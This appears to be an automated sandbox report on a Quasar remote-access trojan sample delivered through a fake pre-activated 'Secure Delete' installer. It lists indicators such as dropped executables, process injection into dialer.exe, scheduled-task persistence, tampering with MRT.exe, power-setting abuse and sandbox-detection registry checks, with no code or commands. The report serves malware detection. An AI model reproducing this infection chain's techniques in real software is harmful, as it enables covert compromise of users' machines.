quasar | c28e37ce98cb20850ba164913c668995822e38c35c491d5ca0e5ec206148b578

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	c28e37ce98cb20850ba164913c668995822e38c35c491d5ca0e5ec206148b578N.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000\Control Panel\International\Geo\Nation	5fr5gthkjdg71.exe

Executes dropped EXE 6 IoCs

pid	Process
2240	5fr5gthkjdg71.exe
1668	gfiKDLgr58thy4d.exe
4588	GR55Qg1hth.exe
3692	F4R5fd8grr.exe
908	Client.exe
3476	kaptsegthwf.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Power Settings 1 TTPs 13 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
4276	powercfg.exe
1952	powercfg.exe
2380	powercfg.exe
1912	powercfg.exe
5968	powercfg.exe
1984	cmd.exe
2692	powercfg.exe
2436	powercfg.exe
456	powercfg.exe
4484	powercfg.exe
5964	powercfg.exe
388	powercfg.exe
4932	powercfg.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	gfiKDLgr58thy4d.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1668 set thread context of 4012	1668	gfiKDLgr58thy4d.exe	143

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Secure Delete\version-information.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages\en.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\nl.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Application\Languages\de.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Application\pro.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\UForms\update.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Application\Languages\es.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Interface\ui_minButton_hover.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Framework\Languages\ar.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\ru.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Application\Languages\zh.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Application\Languages\it.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\FunProMessages\ko.txt	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages\fr.ini	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Application\Languages\pl.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Application\Languages\en.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\UForms\pro-223-440.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\UForms\pro-250-241.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\zh.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Application\Languages\hu.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Application\Languages\hu.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\FunProMessages\en.txt	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages\ru.ini	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Framework\Interface\colors.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\FunProMessages\pt.txt	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\es.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\unins000.exe	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Application\Languages\zh.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\it.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Application\Languages\es.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Application\Languages\fr.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\de.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Interface\colors.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\hu.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Application\Languages\pl.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\FunProMessages\cs.txt	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Framework\Languages\en.ini	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Framework\Languages\cs.ini	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Framework\Languages\el.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\version-information.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\fr.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\ko.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\SecureDelete.exe.config	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages\cs.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages\hu.ini	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Framework\Languages\de.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\FunProMessages\ar.txt	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Interface\ui_closeButton_flat.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Framework\Languages\hu.ini	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Framework\Languages\es.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages\pl.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\UForms\subscribe1.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Framework\Languages\it.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\FunProMessages\zh.txt	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages\pt.ini	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Application\Languages\pt.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Application\Languages\pt.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\FunProMessages\ru.txt	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\UForms\subscribe2.png	msiexec.exe
File opened for modification	C:\Program Files (x86)\Secure Delete\Application\Languages\cs.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages\ar.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages\it.ini	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\Framework\Languages-flags\cs.png	msiexec.exe
File created	C:\Program Files (x86)\Secure Delete\unins000.msg	msiexec.exe

Drops file in Windows directory 16 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\e58077d.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}\SecureDelete.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}\SecureDelete.exe	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI848.tmp	msiexec.exe
File created	C:\Windows\Installer\{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}\ARPPRODUCTICON.ico	msiexec.exe
File opened for modification	C:\Windows\Installer\{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}\ARPPRODUCTICON.ico	msiexec.exe
File opened for modification	C:\Windows\Installer\{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}\SecureDelete1.exe	msiexec.exe
File created	C:\Windows\Installer\e58077d.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}	msiexec.exe
File created	C:\Windows\Installer\e58077f.msi	msiexec.exe
File created	C:\Windows\Installer\{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}\SecureDelete1.exe	msiexec.exe
File created	C:\Windows\Installer\{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}\SecureDelete2.exe	msiexec.exe
File opened for modification	C:\Windows\Installer\{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}\SecureDelete2.exe	msiexec.exe

Launches sc.exe 19 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3172	sc.exe
4176	sc.exe
2744	sc.exe
3428	sc.exe
3540	sc.exe
3544	sc.exe
4748	sc.exe
3920	sc.exe
3856	sc.exe
4916	sc.exe
4484	sc.exe
3364	sc.exe
3348	sc.exe
5588	sc.exe
2396	sc.exe
1536	sc.exe
4300	sc.exe
5884	sc.exe
520	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000001397c7f967de25740000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800001397c7f90000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff0000000007000100006809001397c7f9000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d1397c7f9000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001397c7f900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Modifies data under HKEY_USERS 23 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\27	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\CLASSES\LOCAL SETTINGS\MUICACHE\26\52C64B7E	msiexec.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\26	msiexec.exe

Modifies registry class 24 IoCs

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\ProductIcon = "C:\\Windows\\Installer\\{E65B48A9-CA11-4DE4-9E44-25AA56CA24CB}\\ARPPRODUCTICON.ico"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\SourceList\LastUsedSource = "n;1;C:\\Users\\Public\\"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\AuthorizedLUAApp = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\SourceList	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\SourceList\Net\1 = "C:\\Users\\Public\\"	msiexec.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\Clients = 3a0000000000	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9A84B56E11AC4ED4E94452AA65AC42BC\Complete	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\ProductName = "Secure Delete 2316.00 Préactivé"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\PackageCode = "F0774D97359D7E04CB472604A052589A"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\Language = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\Version = "201326592"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\Assignment = "1"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\InstanceType = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\SourceList\Media	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A0B35D785907D0540800C40B63A69252	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\A0B35D785907D0540800C40B63A69252\9A84B56E11AC4ED4E94452AA65AC42BC	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\SourceList\PackageName = "setup.msi"	msiexec.exe
Key created	\REGISTRY\USER\S-1-5-21-3227495264-2217614367-4027411560-1000_Classes\Local Settings	c28e37ce98cb20850ba164913c668995822e38c35c491d5ca0e5ec206148b578N.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\9A84B56E11AC4ED4E94452AA65AC42BC	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\AdvertiseFlags = "388"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\SourceList\Net	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\9A84B56E11AC4ED4E94452AA65AC42BC\SourceList\Media\1 = ";"	msiexec.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
864	schtasks.exe
1760	schtasks.exe

Suspicious behavior: EnumeratesProcesses 36 IoCs

pid	Process
4212	powershell.exe
4212	powershell.exe
1668	gfiKDLgr58thy4d.exe
4748	powershell.exe
4748	powershell.exe
4748	powershell.exe
968	powershell.exe
968	powershell.exe
968	powershell.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
2804	powershell.exe
2804	powershell.exe
1668	gfiKDLgr58thy4d.exe
2804	powershell.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
4012	dialer.exe
4012	dialer.exe
1668	gfiKDLgr58thy4d.exe
4012	dialer.exe
4012	dialer.exe
1668	gfiKDLgr58thy4d.exe
1668	gfiKDLgr58thy4d.exe
3476	kaptsegthwf.exe
4012	dialer.exe
4012	dialer.exe
3348	powershell.exe
3348	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1520	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1520	msiexec.exe
Token: SeSecurityPrivilege	468	msiexec.exe
Token: SeCreateTokenPrivilege	1520	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	1520	msiexec.exe
Token: SeLockMemoryPrivilege	1520	msiexec.exe
Token: SeIncreaseQuotaPrivilege	1520	msiexec.exe
Token: SeMachineAccountPrivilege	1520	msiexec.exe
Token: SeTcbPrivilege	1520	msiexec.exe
Token: SeSecurityPrivilege	1520	msiexec.exe
Token: SeTakeOwnershipPrivilege	1520	msiexec.exe
Token: SeLoadDriverPrivilege	1520	msiexec.exe
Token: SeSystemProfilePrivilege	1520	msiexec.exe
Token: SeSystemtimePrivilege	1520	msiexec.exe
Token: SeProfSingleProcessPrivilege	1520	msiexec.exe
Token: SeIncBasePriorityPrivilege	1520	msiexec.exe
Token: SeCreatePagefilePrivilege	1520	msiexec.exe
Token: SeCreatePermanentPrivilege	1520	msiexec.exe
Token: SeBackupPrivilege	1520	msiexec.exe
Token: SeRestorePrivilege	1520	msiexec.exe
Token: SeShutdownPrivilege	1520	msiexec.exe
Token: SeDebugPrivilege	1520	msiexec.exe
Token: SeAuditPrivilege	1520	msiexec.exe
Token: SeSystemEnvironmentPrivilege	1520	msiexec.exe
Token: SeChangeNotifyPrivilege	1520	msiexec.exe
Token: SeRemoteShutdownPrivilege	1520	msiexec.exe
Token: SeUndockPrivilege	1520	msiexec.exe
Token: SeSyncAgentPrivilege	1520	msiexec.exe
Token: SeEnableDelegationPrivilege	1520	msiexec.exe
Token: SeManageVolumePrivilege	1520	msiexec.exe
Token: SeImpersonatePrivilege	1520	msiexec.exe
Token: SeCreateGlobalPrivilege	1520	msiexec.exe
Token: SeDebugPrivilege	4212	powershell.exe
Token: SeBackupPrivilege	1480	vssvc.exe
Token: SeRestorePrivilege	1480	vssvc.exe
Token: SeAuditPrivilege	1480	vssvc.exe
Token: SeBackupPrivilege	468	msiexec.exe
Token: SeRestorePrivilege	468	msiexec.exe
Token: SeDebugPrivilege	3692	F4R5fd8grr.exe
Token: SeDebugPrivilege	908	Client.exe
Token: SeRestorePrivilege	468	msiexec.exe
Token: SeTakeOwnershipPrivilege	468	msiexec.exe
Token: SeRestorePrivilege	468	msiexec.exe
Token: SeTakeOwnershipPrivilege	468	msiexec.exe
Token: SeBackupPrivilege	1072	srtasks.exe
Token: SeRestorePrivilege	1072	srtasks.exe
Token: SeSecurityPrivilege	1072	srtasks.exe
Token: SeTakeOwnershipPrivilege	1072	srtasks.exe
Token: SeBackupPrivilege	1072	srtasks.exe
Token: SeRestorePrivilege	1072	srtasks.exe
Token: SeSecurityPrivilege	1072	srtasks.exe
Token: SeTakeOwnershipPrivilege	1072	srtasks.exe
Token: SeRestorePrivilege	468	msiexec.exe
Token: SeTakeOwnershipPrivilege	468	msiexec.exe
Token: SeRestorePrivilege	468	msiexec.exe
Token: SeTakeOwnershipPrivilege	468	msiexec.exe
Token: SeRestorePrivilege	468	msiexec.exe
Token: SeTakeOwnershipPrivilege	468	msiexec.exe
Token: SeRestorePrivilege	468	msiexec.exe
Token: SeTakeOwnershipPrivilege	468	msiexec.exe
Token: SeRestorePrivilege	468	msiexec.exe
Token: SeTakeOwnershipPrivilege	468	msiexec.exe
Token: SeRestorePrivilege	468	msiexec.exe
Token: SeTakeOwnershipPrivilege	468	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
1520	msiexec.exe
1520	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4588	GR55Qg1hth.exe
908	Client.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4240 wrote to memory of 4912	4240	c28e37ce98cb20850ba164913c668995822e38c35c491d5ca0e5ec206148b578N.exe	82
PID 4240 wrote to memory of 4912	4240	c28e37ce98cb20850ba164913c668995822e38c35c491d5ca0e5ec206148b578N.exe	82
PID 4240 wrote to memory of 1520	4240	c28e37ce98cb20850ba164913c668995822e38c35c491d5ca0e5ec206148b578N.exe	85
PID 4240 wrote to memory of 1520	4240	c28e37ce98cb20850ba164913c668995822e38c35c491d5ca0e5ec206148b578N.exe	85
PID 4912 wrote to memory of 4924	4912	cmd.exe	86
PID 4912 wrote to memory of 4924	4912	cmd.exe	86
PID 4924 wrote to memory of 1056	4924	net.exe	87
PID 4924 wrote to memory of 1056	4924	net.exe	87
PID 4912 wrote to memory of 4212	4912	cmd.exe	88
PID 4912 wrote to memory of 4212	4912	cmd.exe	88
PID 4212 wrote to memory of 2240	4212	powershell.exe	92
PID 4212 wrote to memory of 2240	4212	powershell.exe	92
PID 2240 wrote to memory of 1668	2240	5fr5gthkjdg71.exe	95
PID 2240 wrote to memory of 1668	2240	5fr5gthkjdg71.exe	95
PID 2240 wrote to memory of 4588	2240	5fr5gthkjdg71.exe	96
PID 2240 wrote to memory of 4588	2240	5fr5gthkjdg71.exe	96
PID 2240 wrote to memory of 3692	2240	5fr5gthkjdg71.exe	97
PID 2240 wrote to memory of 3692	2240	5fr5gthkjdg71.exe	97
PID 3692 wrote to memory of 864	3692	F4R5fd8grr.exe	98
PID 3692 wrote to memory of 864	3692	F4R5fd8grr.exe	98
PID 3692 wrote to memory of 908	3692	F4R5fd8grr.exe	101
PID 3692 wrote to memory of 908	3692	F4R5fd8grr.exe	101
PID 908 wrote to memory of 1760	908	Client.exe	103
PID 908 wrote to memory of 1760	908	Client.exe	103
PID 468 wrote to memory of 1072	468	msiexec.exe	107
PID 468 wrote to memory of 1072	468	msiexec.exe	107
PID 4588 wrote to memory of 968	4588	GR55Qg1hth.exe	114
PID 4588 wrote to memory of 968	4588	GR55Qg1hth.exe	114
PID 3612 wrote to memory of 3172	3612	cmd.exe	160
PID 3612 wrote to memory of 3172	3612	cmd.exe	160
PID 4588 wrote to memory of 3500	4588	GR55Qg1hth.exe	199
PID 4588 wrote to memory of 3500	4588	GR55Qg1hth.exe	199
PID 4588 wrote to memory of 1984	4588	GR55Qg1hth.exe	128
PID 4588 wrote to memory of 1984	4588	GR55Qg1hth.exe	128
PID 4588 wrote to memory of 2804	4588	GR55Qg1hth.exe	129
PID 4588 wrote to memory of 2804	4588	GR55Qg1hth.exe	129
PID 3500 wrote to memory of 3348	3500	cmd.exe	162
PID 3500 wrote to memory of 3348	3500	cmd.exe	162
PID 1984 wrote to memory of 4932	1984	cmd.exe	136
PID 1984 wrote to memory of 4932	1984	cmd.exe	136
PID 3500 wrote to memory of 3544	3500	cmd.exe	137
PID 3500 wrote to memory of 3544	3500	cmd.exe	137
PID 1984 wrote to memory of 456	1984	cmd.exe	142
PID 1984 wrote to memory of 456	1984	cmd.exe	142
PID 1668 wrote to memory of 4012	1668	gfiKDLgr58thy4d.exe	143
PID 1668 wrote to memory of 4012	1668	gfiKDLgr58thy4d.exe	143
PID 1668 wrote to memory of 4012	1668	gfiKDLgr58thy4d.exe	143
PID 1668 wrote to memory of 4012	1668	gfiKDLgr58thy4d.exe	143
PID 1668 wrote to memory of 4012	1668	gfiKDLgr58thy4d.exe	143
PID 1668 wrote to memory of 4012	1668	gfiKDLgr58thy4d.exe	143
PID 1668 wrote to memory of 4012	1668	gfiKDLgr58thy4d.exe	143
PID 4012 wrote to memory of 620	4012	dialer.exe	5
PID 4012 wrote to memory of 680	4012	dialer.exe	7
PID 4012 wrote to memory of 960	4012	dialer.exe	12
